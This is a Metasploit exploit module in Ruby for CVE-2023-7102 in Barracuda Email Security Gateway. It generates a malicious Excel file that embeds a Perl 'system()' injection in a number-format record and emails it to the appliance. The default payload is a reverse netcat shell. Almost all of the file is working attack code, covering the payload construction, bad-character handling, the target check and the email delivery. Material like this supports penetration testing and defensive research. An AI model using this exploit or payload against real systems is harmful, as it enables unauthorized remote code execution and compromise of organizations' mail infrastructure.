##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::SMTPDeliver

  # BIFF8 Record Opcodes
  BIFF8_BOF = 0x0809  # Beginning of File
  BIFF8_EOF = 0x000A  # End of File
  BIFF8_CODEPAGE = 0x0042 # Code page
  BIFF8_WINDOW1 = 0x003D # Window information
  BIFF8_DATEMODE = 0x0022 # Date system
  BIFF8_FONT = 0x0031 # Font definition
  BIFF8_FORMAT = 0x041E # Number format string (payload injection point)
  BIFF8_XF = 0x00E0 # Extended format
  BIFF8_STYLE = 0x0293 # Style definition
  BIFF8_BOUNDSHEET = 0x0085 # Sheet information
  BIFF8_DIMENSION = 0x0200 # Sheet dimensions
  BIFF8_ROW = 0x0208 # Row definition
  BIFF8_NUMBER = 0x0203 # Floating point cell

  # BIFF8 Constants
  BIFF8_VERSION = 0x0600
  BOF_WORKBOOK = 0x0005
  BOF_WORKSHEET = 0x0010

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Barracuda ESG Spreadsheet::ParseExcel Arbitrary Code Execution',
        'Description' => %q{
          This module exploits CVE-2023-7102, an arbitrary code execution vulnerability
          in Barracuda Email Security Gateway (ESG) appliances. The vulnerability exists
          in how the Amavis scanner processes Excel attachments using the Perl
          Spreadsheet::ParseExcel library.

          The library's Utility.pm contains an unsafe eval() that processes Excel
          Number format strings without validation. By crafting a malicious XLS file
          with a specially formatted Number format string containing Perl code, an
          attacker can achieve remote code execution when the ESG scans the email
          attachment.

          This module dynamically generates a minimal BIFF8 XLS file with the payload
          embedded in a FORMAT record using Rex::OLE. Payload constraints: no ']' (terminates
          format string) or single quotes (breaks Perl eval injection).

          This vulnerability was exploited in the wild by UNC4841 (China-nexus threat
          actor) starting November 2023. Barracuda deployed automatic patches on
          December 21, 2023.

          Affected versions: Barracuda ESG 5.1.3.001 through 9.2.1.001
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Mandiant',             # CVE-2023-7101/7102 discovery
          'haile01',              # CVE-2023-7101 XLS payload technique
          'Curt Hyvarinen'        # Metasploit module
        ],
        'References' => [
          ['CVE', '2023-7102'],
          ['CVE', '2023-7101'],
          ['URL', 'https://github.com/haile01/perl_spreadsheet_excel_rce_poc'],
          ['URL', 'https://trust.barracuda.com/security/information/esg-vulnerability'],
          ['URL', 'https://cloud.google.com/blog/topics/threat-intelligence/unc4841-post-barracuda-zero-day-remediation'],
          ['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2023-7101']
        ],
        'DisclosureDate' => '2023-12-24',
        'Platform' => 'unix',
        'Arch' => ARCH_CMD,
        'Privileged' => false, # Runs as scana user (Amavis scanner)
        'Payload' => {
          'Space' => 8192,
          'DisableNops' => true,
          'BadChars' => "]'\x00" # ] terminates format, ' breaks eval, null terminates
        },
        'Targets' => [
          [
            'Unix Command',
            {
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/unix/reverse_netcat'
              }
            }
          ]
        ],
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
    )

    register_options(
      [
        OptString.new('MAILTO', [true, 'Target email address on the ESG']),
        OptString.new('SUBJECT', [false, 'Email subject line (default: random)']),
        OptString.new('BODY', [false, 'Email body text (default: random)']),
        OptString.new('FILENAME', [false, 'XLS attachment filename (default: random)'])
      ]
    )
  end

  def check
    connect
    banner_str = banner.to_s
    if banner_str =~ /barracuda/i
      return CheckCode::Detected('Barracuda ESG detected in SMTP banner')
    end

    if banner_str =~ /ESMTP/i
      return CheckCode::Unknown('SMTP server detected, but cannot confirm Barracuda ESG')
    end

    CheckCode::Safe('No SMTP banner detected')
  rescue Rex::ConnectionError => e
    CheckCode::Unknown("Connection failed: #{e.message}")
  ensure
    disconnect
  end

  def exploit
    cmd = payload.encoded

    # Validate payload doesn't contain characters that break the injection
    if cmd.include?(']')
      fail_with(Failure::BadConfig, "Payload contains ']' which terminates the format string. Use a different payload.")
    end
    if cmd.include?("'")
      fail_with(Failure::BadConfig, 'Payload contains single quote which breaks eval injection. Use a different payload.')
    end

    @subject = datastore['SUBJECT']
    @body = datastore['BODY']
    @filename = datastore['FILENAME']

    @mailfrom = datastore['MAILFROM']
    @subject = Rex::Text.rand_text_alpha(rand(8..16)) if @subject.to_s.strip.empty?
    @body = Rex::Text.rand_text_alpha(rand(16..32)) if @body.to_s.strip.empty?
    @filename = "#{Rex::Text.rand_text_alpha(8)}.xls" if @filename.to_s.strip.empty?

    print_status('Generating malicious XLS with payload in FORMAT record')
    xls_data = generate_malicious_xls(cmd)

    print_status('Composing email with XLS attachment')
    email_data = generate_exploit_email(xls_data)

    print_status("Sending exploit email to #{datastore['MAILTO']} via #{rhost}:#{rport}")
    send_message(email_data)

    print_good('Email sent successfully')
    print_status('Payload executes when Amavis scanner parses the XLS attachment (may take 30-90 seconds)')
  end

  #
  # Generate a malicious XLS file with payload embedded in FORMAT record
  # Uses Rex::OLE for OLE2 container and builds BIFF8 records dynamically
  #
  def generate_malicious_xls(cmd)
    # Build the malicious format string
    # Format: [>0;system('COMMAND')]0
    # The >0 comparison is always true for positive numbers, then Perl executes system()
    format_payload = "[>0;system('#{cmd}')]0"
    vprint_status("Format string payload: #{format_payload}")
    vprint_status("Payload length: #{format_payload.length} bytes")

    # Build BIFF8 workbook stream
    workbook = build_workbook_stream(format_payload)

    # Build BIFF8 worksheet stream
    worksheet = build_worksheet_stream

    # Combine streams (worksheet follows workbook globals in same stream)
    content = workbook + worksheet

    # Create OLE2 container using Rex::OLE
    xls_data = create_ole2_xls(content)

    vprint_status("Generated XLS size: #{xls_data.length} bytes")
    xls_data
  end

  #
  # Build BIFF8 workbook globals stream
  #
  def build_workbook_stream(format_payload)
    stream = ''.b

    # BOF - Workbook
    stream << biff_record(BIFF8_BOF, bof_data(BOF_WORKBOOK))

    # Codepage (UTF-16)
    stream << biff_record(BIFF8_CODEPAGE, [0x04B0].pack('v'))

    # Window1 - basic window settings
    stream << biff_record(BIFF8_WINDOW1, window1_data)

    # Datemode - 1900 date system
    stream << biff_record(BIFF8_DATEMODE, [0x0000].pack('v'))

    # Font records (need at least 4 for XF records)
    4.times { stream << biff_record(BIFF8_FONT, font_data) }

    # FORMAT record - this is where our payload lives
    stream << biff_record(BIFF8_FORMAT, format_data(format_payload))

    # XF records (cell formatting) - need 21 built-in + 1 custom
    21.times { stream << biff_record(BIFF8_XF, xf_data(0)) }
    stream << biff_record(BIFF8_XF, xf_data(165)) # References our custom format

    # Style record
    stream << biff_record(BIFF8_STYLE, style_data)

    # Boundsheet - worksheet BOF offset = current stream length + this record's size + EOF record size
    # Pre-compute the BOUNDSHEET record size to calculate the correct absolute offset
    boundsheet_size = biff_record(BIFF8_BOUNDSHEET, boundsheet_data(0)).bytesize
    eof_size = biff_record(BIFF8_EOF, '').bytesize
    stream << biff_record(BIFF8_BOUNDSHEET, boundsheet_data(stream.length + boundsheet_size + eof_size))

    # EOF
    stream << biff_record(BIFF8_EOF, '')

    stream
  end

  #
  # Build BIFF8 worksheet stream
  #
  def build_worksheet_stream
    stream = ''.b

    # BOF - Worksheet
    stream << biff_record(BIFF8_BOF, bof_data(BOF_WORKSHEET))

    # Dimension - 1x1 used range
    stream << biff_record(BIFF8_DIMENSION, dimension_data)

    # Row definition
    stream << biff_record(BIFF8_ROW, row_data(0))

    # NUMBER record - cell with value that triggers format processing
    # Row 0, Col 0, XF index 21 (our custom format), Value 123.0
    stream << biff_record(BIFF8_NUMBER, number_data(0, 0, 21, 123.0))

    # EOF
    stream << biff_record(BIFF8_EOF, '')

    stream
  end

  #
  # Create OLE2 compound document containing the workbook stream
  #
  def create_ole2_xls(content)
    # Create temporary file for Rex::OLE
    tmpfile = Rex::Quickfile.new('msf-xls')
    tmppath = tmpfile.path
    tmpfile.close

    begin
      stg = Rex::OLE::Storage.new(tmppath, Rex::OLE::STGM_WRITE)
      fail_with(Failure::Unknown, 'Failed to create OLE storage') unless stg

      stm = stg.create_stream('Workbook')
      fail_with(Failure::Unknown, 'Failed to create Workbook stream') unless stm

      stm << content
      stm.close
      stg.close

      # Read the generated file
      xls_data = File.binread(tmppath)
      xls_data
    ensure
      File.delete(tmppath) if File.exist?(tmppath)
    end
  end

  # BIFF8 Record Helpers

  #
  # Build a BIFF8 record: opcode (2 bytes) + length (2 bytes) + data
  #
  def biff_record(opcode, data)
    [opcode, data.bytesize].pack('v2') + data
  end

  #
  # BOF record data
  #
  def bof_data(sheet_type)
    [
      BIFF8_VERSION,   # BIFF version
      sheet_type,      # Sheet type (workbook or worksheet)
      0x0DBB,          # Build identifier
      0x07CC,          # Build year
      0x000000C1,      # File history flags
      0x00000006       # Lowest BIFF version
    ].pack('v4V2')
  end

  #
  # Window1 record data
  #
  def window1_data
    [
      0x0000,  # Horizontal position
      0x0000,  # Vertical position
      0x4000,  # Width
      0x2000,  # Height
      0x0038,  # Options
      0x0000,  # Selected tab
      0x0000,  # First displayed tab
      0x0001,  # Selected tabs count
      0x00E5   # Tab bar width ratio
    ].pack('v9')
  end

  #
  # Font record data
  #
  def font_data
    font_name = 'Arial'
    data = [
      0x00C8,           # Height (200 twips = 10pt)
      0x0000,           # Options
      0x7FFF,           # Color index
      0x0190,           # Font weight (400 = normal)
      0x0000,           # Escapement
      0x00,             # Underline
      0x00,             # Font family
      0x00,             # Character set
      0x00,             # Reserved
      font_name.length  # Name length (byte string)
    ].pack('v4vC5')
    data << font_name
    data
  end

  #
  # FORMAT record data - contains our payload
  #
  def format_data(format_string)
    # FORMAT record structure for BIFF8:
    # - 2 bytes: format index (custom formats start at 164)
    # - 2 bytes: string length (character count)
    # - 1 byte: encoding flag (0 = compressed/Latin-1, 1 = UTF-16)
    # - variable: string data
    format_index = 165

    data = [
      format_index,
      format_string.length,
      0x00 # Latin-1 encoding (single byte per char)
    ].pack('v2C')
    data << format_string
    data
  end

  #
  # XF (extended format) record data
  #
  def xf_data(format_index)
    [
      0x0000,        # Font index
      format_index,  # Format index (0 = General, 165 = our custom)
      0x0001,        # Type/protection flags
      0x00,          # Alignment
      0x00,          # Rotation
      0x00,          # Text properties
      0x00,          # Used attributes
      0x00000000,    # Border colors
      0x00000000,    # Border lines
      0x00000000     # Pattern/background color
    ].pack('v3C4V3')
  end

  #
  # Style record data
  #
  def style_data
    [
      0x8000,  # XF index with built-in flag set
      0x00,    # Built-in style ID (Normal)
      0xFF     # Outline level
    ].pack('vCC')
  end

  #
  # Boundsheet record data
  #
  def boundsheet_data(sheet_offset)
    sheet_name = 'Sheet1'
    data = [
      sheet_offset,       # Absolute offset to BOF
      0x00,               # Sheet state (visible)
      0x00,               # Sheet type (worksheet)
      sheet_name.length   # Name length
    ].pack('VCC C')
    data << sheet_name
    data
  end

  #
  # Dimension record data
  #
  def dimension_data
    [
      0x0000,  # First row
      0x0001,  # Last row + 1
      0x0000,  # First column
      0x0001,  # Last column + 1
      0x0000   # Reserved
    ].pack('v5')
  end

  #
  # Row record data
  #
  def row_data(row_num)
    [
      row_num,  # Row number
      0x0000,   # First defined column
      0x0001,   # Last defined column + 1
      0x00FF,   # Row height
      0x0000,   # Reserved
      0x0000,   # Reserved
      0x0100    # Options
    ].pack('v7')
  end

  #
  # NUMBER record data
  #
  def number_data(row, col, xf_index, value)
    data = [row, col, xf_index].pack('v3')
    data << [value].pack('E') # 64-bit IEEE 754 double (little-endian)
    data
  end

  #
  # Generate MIME email with XLS attachment
  #
  def generate_exploit_email(xls_data)
    msg = Rex::MIME::Message.new
    msg.mime_defaults
    msg.from = @mailfrom
    msg.to = datastore['MAILTO']
    msg.subject = @subject

    msg.add_part(@body, 'text/plain', nil, 'inline')
    msg.add_part_attachment(xls_data, @filename)

    msg.to_s
  end
end
